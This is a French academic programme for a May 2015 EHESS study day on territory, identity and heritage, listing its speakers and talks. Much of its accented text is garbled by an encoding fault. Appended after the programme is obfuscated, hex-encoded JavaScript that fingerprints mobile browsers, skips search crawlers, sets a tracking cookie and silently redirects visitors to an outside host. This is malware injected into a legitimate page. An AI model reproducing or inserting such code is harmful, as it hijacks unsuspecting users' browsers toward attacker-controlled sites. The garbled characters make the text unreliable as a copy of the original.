JournA�e da��A�tude Fabriqa��am

TERRITOIRES ET IDENTITA�S : UNE APPROCHE PATRIMONIALE

Mercredi 13 mai 2015

A�cole des Hautes A�tudes en Sciences Sociales

A�bA?t Le France, 190 avenue de France, 75013 Paris

salle J.P. Vernant (8e A�tage), de 9h30 A� 17h30

OrganisationA�: VA�ronique Boyer et Emilie Stoll

 

Bondaz, Graezer Bideau, Isnar et Leblon[1] soulignent que ce qui est en jeu dans le champ contemporain du patrimoine est A�A�la mutation da��un bien ordinaire en bien distinguA�A�A� (2014: 11). Le dA�ploiement par les A�tats de politiques territoriales nous semble susceptible da��A?tre apprA�hendA� en ces termes. En effet, ces politiques A�A�distinguentA�A�, ca��est-A�-dire cherchent A� valoriser certains espaces en leur confA�rant un statut administratif spA�cifique, en les affectant A� un usage particulier (parc naturel, rA�serve indienne ou A�cologique, etc.) et leur attribuant des moyens humains et financiers propres. En da��autres termes, la mosaA?que territoriale que la��on observe sur les reprA�sentations cartographiques correspond A� un dA�coupage juridique rA�el ou dA�sirA�, lequel se nA�gocie A� diffA�rentes A�chelles (du local A� la��international) et entre diffA�rents acteurs (populations, tiers secteur, institutions publiques, intA�rA?ts privA�s, organisations professionnelles, etc.).

Certains de ces territoires sont constitutionnellement corrA�lA�s A� une identitA� ethnique (indien par exemple) tandis que da��autres sont associA�s A� une activitA� spA�cifique (extraction de latex) ou au maillage administratif (municA�pio). Or, dans un contexte oA? A�A�penser patrimoineA�A� est devenu un leitmotiv pour cet ensemble trA?s diversifiA� da��acteurs, la��appartenance territoriale tend A� A?tre essentialisA�e dans des termes A�A�identitairesA�A�, mA?me si elle a A�tA� conA�ue au dA�part sous une autre modalitA�A�: une rA�serve A�A�A�cologiqueA�A� abrite des A�A�populations traditionnellesA�A�, donc spA�cialistes da��un artisanat, un municA�pio est indien parce que ca��A�tait une A�A�rA�publica de indiosA�A�. La��inscription spatiale et la��A�noncA� de la��identitA� semblent ainsi imbriquA�s dans des raisonnements circulaires.

Pour sa��imposer comme des acteurs dont la��action patrimoniale est lA�gitime ou qui sont dignes de patrimonialisation, les populations locales et leurs relais A�laborent des rA�cits sur le passA� et la tradition qui se veulent spatialement ancrA�s et incontestablement singuliers. Le processus de traduction, de nA�gociation et de transformation est fonction de leur insertion dans un champ politique local et leur interlocution avec divers acteurs externes, institutionnels ou pas. Il vise A� rendre incontestables leurs prA�tentions territoriales, et la A�A�distinctionA�A� de leur espace de vie vis-A�-vis de voisins proches qui ne pas toujours des A�A�A�trangersA�A�.

Cette journA�e da��A�tude entend examiner les rapports entre identitA� et territoire qui se jouent autour de la patrimonialisation en partant da��exemples ethnographiques latino-amA�ricains, et dans une perspective qui sa��attache A� restituer les conditions de la��A�mergence de tels phA�nomA?nes.A�Nous proposons deux axes de rA�flexionA�:

1) acteurs du champ politique et nA�gociations patrimoniales

2) lectures de la��espace, objets du patrimoine, territorialitA�s

PROGRAMME

MatinA�e

9h30

Accueil des participants

10h

Introduction

VA�ronique Boyer (CNRS-Mondes AmA�ricains) et Emilie Stoll (post-doc A� University of Aberdeen)

10h20

Staking and Silencing Life: Narrating Mineral Exploration and Land Use Planning in the Canadian North

Jan Peter Laurens Loovers (post-doc A� University of Aberdeen / Arctic Domus project)

10h40

La��identitA� comme stratA�gie de lutte pour le territoireA�? Le cas du CA�ur Picinguaba du Parc de la��Etat de la Serra do Mar, SA?o Paulo, BrA�sil

Jorge Calvimontes (post-doc A� l’UMR 208 Paloc/MNHN-IRD et A� la��UniversitA� de Campinas, BrA�sil)

11h – Pause cafA�

11h15

Les nouveaux agents de la patrimonialisation au PA�rou : lA�gitimitA�, reformulations identitaires, participation communautaire

Emanuela Canghiari (doctorante en Anthropologie A� l’EHESS, IIAC/LAHIC)

11h35 a�� 12h15

Discussion des prA�sentations

MenA�e par France GuA�rin-Pace (INED) et BA�atrice Fraenkel (EHESS)

12h15

DA�bat

12h45 – Pause dA�jeuner (buffet)

AprA?s-midi

14h30

De pariwat (A�A�A�trangers/ennemisA�A�) A� wuyA�a??uy bugum (A�A�ceux qui pensent comme nousA�A�)A�:A�scissions et alliances de groupes sociaux distincts atteints par des menaces communes (Amazonie, BrA�sil)

Mauricio Torres (chercheur indA�pendant, associA� A� la��Universidade Federal do Oeste do ParA?)

14h50

La fabrique des A�A�patrimoines A� entre ethnicitA�, globalisation et finance dans les vignobles du Bordelais

Chantal CrennA�(MaA�tre de confA�rences A� la��UniversitA� de Bordeaux Montaigne/UMI 3189 ESS Dakar, chercheur associA� A� la��UMR 5115 Les Afriques dans le Monde SNRS-IEP Bordeaux)

15h10 – Pause cafA�

15h25

La municipalisation du village tseltal da��Aguacatenango, Chiapas (Mexique)A�: logiques de projet de patrimonialisation da��un paysage identitaire

Marie ChossonA�(MaA�tre de confA�rences A� la��INALCO-CESSMA)

15h45

Discussion des interventions

MenA�e par Claudia Damasceno (EHESS) et Anne-Marie Losonczy (EPHE)

16h25

DA�bat

[1] BONDAZ, Julien, GRAEZER BIDEAU, Florence, ISNART, Cyril, LEBLON, AnaA?s, A�A�Relocaliser les discours sur le A�A�patrimoineA�A�A�A�, inA�: Les vocabulaires locaux du A�A�patrimoineA�A�A�: traductions, nA�gociations et transformations, Berlin, Lit, 2014, p.A�9-30. Le livre a A�tA� prA�sentA� lors de la journA�e Fabriqa��am de dA�cembre 2014.A�

Programme completvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

---

---